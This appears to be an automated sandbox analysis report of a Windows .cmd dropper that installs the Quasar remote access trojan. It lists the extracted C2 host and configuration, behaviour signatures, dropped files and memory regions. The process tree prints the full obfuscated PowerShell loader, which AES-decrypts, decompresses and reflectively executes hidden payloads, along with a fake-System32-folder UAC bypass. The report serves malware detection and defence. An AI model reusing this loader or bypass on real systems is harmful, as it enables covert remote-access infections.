Analysis

  • max time kernel
    94s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2024, 03:10

General

  • Target
    ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848.cmd
  • Size 2.0MB
  • Sample241111-dn17ps1jfv
  • SHA256 ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.1

Botnet
  • Office04

C2
  • walkout.ddnsgeek.com:8080

Mutex
  • 27391f85-a482-471a-b2cd-1f8ab5bde32e

Attributes
  • encryption_key

    6469F8C5BA9A2CFDCF4A3F1651D1E92DBEA41117

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4600
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('byOwlJEq9UaHWPvf8iRQsbA+J/FwJgSUsZSwL1NNg8o='); $aes_var.IV=[System.Convert]::FromBase64String('jlnOHC6q2ppF5ItJ8IOVtA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$Yytzc=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$fsmDR=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$DKcCE=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Yytzc, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $DKcCE.CopyTo($fsmDR); $DKcCE.Dispose(); $Yytzc.Dispose(); $fsmDR.Dispose(); $fsmDR.ToArray();}function execute_function($param_var,$param2_var){ IEX '$DfiAV=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$sYTdY=$DfiAV.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$sYTdY.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$hxgif = 'C:\Users\Admin\AppData\Local\Temp\ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848.cmd';$host.UI.RawUI.WindowTitle = $hxgif;$qrlCl=[System.IO.File]::ReadAllText($hxgif).Split([Environment]::NewLine);foreach ($SwqTj in $qrlCl) { if ($SwqTj.StartsWith('bRlIVVrKLnBjMLQIZMQv')) { $silSH=$SwqTj.Substring(20); break; }}$payloads_var=[string[]]$silSH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
      2⤵
        PID:3388
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5000
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\temp\test.cmd" "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2752
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QbyHvTiQtx89YnRta8IEyPqtyneJjEN3sJ2ZhbHVoLs='); $aes_var.IV=[System.Convert]::FromBase64String('OxX1X2lNZIgN15fz3vySVw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$xCITj=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$tIajX=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$FlQAx=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($xCITj, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $FlQAx.CopyTo($tIajX); $FlQAx.Dispose(); $xCITj.Dispose(); $tIajX.Dispose(); $tIajX.ToArray();}function execute_function($param_var,$param2_var){ IEX '$GhsFa=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$kwssa=$GhsFa.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$kwssa.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$FFjjS = 'C:\Users\Admin\AppData\Roaming\temp\test.cmd';$host.UI.RawUI.WindowTitle = $FFjjS;$kRRdo=[System.IO.File]::ReadAllText($FFjjS).Split([Environment]::NewLine);foreach ($smNgX in $kRRdo) { if ($smNgX.StartsWith('luZsHxYvUgyKYktkRiik')) { $gnoFR=$smNgX.Substring(20); break; }}$payloads_var=[string[]]$gnoFR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
            4⤵
              PID:3964
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:3256
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3480
            • C:\Windows \System32\ComputerDefaults.exe
              "C:\Windows \System32\ComputerDefaults.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:3192
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
            3⤵
              PID:64

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              ModuleAnalysisCache

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 53KB
              • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
              • MD5 SHA1 SHA512 SSDEEP

              __PSScriptPolicyTest_0iglazfa.oxc.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0iglazfa.oxc.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              test.cmd

              • Path C:\Users\Admin\AppData\Roaming\temp\test.cmd
              • Size 1.6MB
              • SHA256 113c957ba369a4bea2068a9d5596f644e365cb81c19a28cce8ca1382ccc08e2d
              • MD5 SHA1 SHA512 SSDEEP

              ComputerDefaults.exe

              • Path C:\Windows \System32\ComputerDefaults.exe
              • Size 80KB
              • SHA256 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c
              • MD5 SHA1 SHA512 SSDEEP

              MLANG.dll

              • Path C:\Windows \System32\MLANG.dll
              • Size 308KB
              • SHA256 1abd799ba4bfee25737243568ae048c0b50f1892b41d7e0f7b3c3af8410babde
              • MD5 SHA1 SHA512 SSDEEP

              memory/3256-51-0x000002CFCF200000-0x000002CFCF23C000-memory.dmp

              memory/3256-46-0x000002CFCF280000-0x000002CFCF332000-memory.dmp

              memory/3256-45-0x000002CFCF170000-0x000002CFCF1C0000-memory.dmp

              memory/3256-43-0x000002CFCE840000-0x000002CFCEB64000-memory.dmp

              memory/3256-47-0x000002CFCFA60000-0x000002CFCFC22000-memory.dmp

              memory/3256-50-0x000002CFCF140000-0x000002CFCF152000-memory.dmp

              memory/3256-41-0x000002CFCE590000-0x000002CFCE59C000-memory.dmp

              memory/3256-42-0x000002CFCE710000-0x000002CFCE842000-memory.dmp

              memory/5000-14-0x00000259CFD80000-0x00000259CFDF6000-memory.dmp

              memory/5000-40-0x00007FFE30360000-0x00007FFE30E21000-memory.dmp

              memory/5000-16-0x00000259CFE00000-0x00000259CFF82000-memory.dmp

              memory/5000-44-0x00007FFE30363000-0x00007FFE30365000-memory.dmp

              memory/5000-15-0x00000259CD630000-0x00000259CD63C000-memory.dmp

              memory/5000-0-0x00007FFE30363000-0x00007FFE30365000-memory.dmp

              memory/5000-13-0x00000259CFCB0000-0x00000259CFCF4000-memory.dmp

              memory/5000-12-0x00007FFE30360000-0x00007FFE30E21000-memory.dmp

              memory/5000-11-0x00007FFE30360000-0x00007FFE30E21000-memory.dmp

              memory/5000-56-0x00007FFE30360000-0x00007FFE30E21000-memory.dmp

              memory/5000-10-0x00000259CD600000-0x00000259CD622000-memory.dmp